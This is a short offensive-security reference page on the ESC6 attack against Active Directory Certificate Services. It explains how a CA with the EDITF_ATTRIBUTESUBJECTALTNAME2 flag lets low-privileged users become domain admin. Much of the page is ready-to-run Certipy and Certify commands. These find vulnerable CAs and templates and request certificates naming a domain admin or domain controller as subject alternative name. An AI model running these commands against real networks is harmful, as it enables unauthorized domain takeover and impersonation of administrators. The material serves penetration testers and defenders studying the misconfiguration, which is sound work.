Certificate authority
In their research papers, Will Schroeder and Lee Christensen found a domain escalation vector based on a dangerous CA setting (i.e. the
EDITF_ATTRIBUTESUBJECTALTNAME2
flag). The escalation vector was dubbed ESC6.When the flag is set on the CA, templates configured for authentication (i.e. EKUs like Client Authentication, PKINIT Client Authentication, Smart Card Logon, Any Purpose (
OID 2.5.29.37.0
), or no EKU (SubCA
)) and allowing low-priv users to enroll can be abused to authenticate as any other user/machine/admin.The default User template checks all the template requirements stated above.
If the CA is configured with the
EDITF_ATTRIBUTESUBJECTALTNAME2
flag (admins tend to enable that flag without knowing the security implications), and the User template is enabled (which is very often), any user can escalate to domain admin.UNIX-like
Windows
From UNIX-like systems, Certipy (Python) can be used to enumerate info about the CAs, including the "User Specified SAN" flag state which is an alias to the
EDITF_ATTRIBUTESUBJECTALTNAME2
flag.certipy find -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -stdout | grep "User Specified SAN"
By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The
-scheme
flag can be used to set whether to use LDAP or LDAPS.Once the right template is found (i.e. the default User template) (how to enumerate), a request shall be made to obtain a certificate, with another high-priv user set as SAN (
subjectAltName
).#To specify a user account in the SAN
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -ca 'ca_name' -template 'vulnerable template' -upn 'domain admin'
#To specify a computer account in the SAN
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -ca 'ca_name' -template 'vulnerable template' -dns 'dc.domain.local'
From Windows systems, the Certify (C#) tool can be used to enumerate info about the CAs, including the "UserSpecifiedSAN" flag state which refers to the
EDITF_ATTRIBUTESUBJECTALTNAME2
flag.Certify.exe cas
If the flag is enabled on a CA, certify can then be used to find all enabled templates configured with EKUs allowing for authentication, and allowing low-priv users to enroll.
Certify.exe /enrolleeSuppliesSubject
Certify.exe /clientauth
Once the right template is found (i.e. the default User template), a request shall be made to obtain a certificate, with another high-priv user set as SAN (
subjectAltName
).Certify.exe request /ca:'domain\ca' /template:"Certificate template" /altname:"admin"
Last modified 2mo ago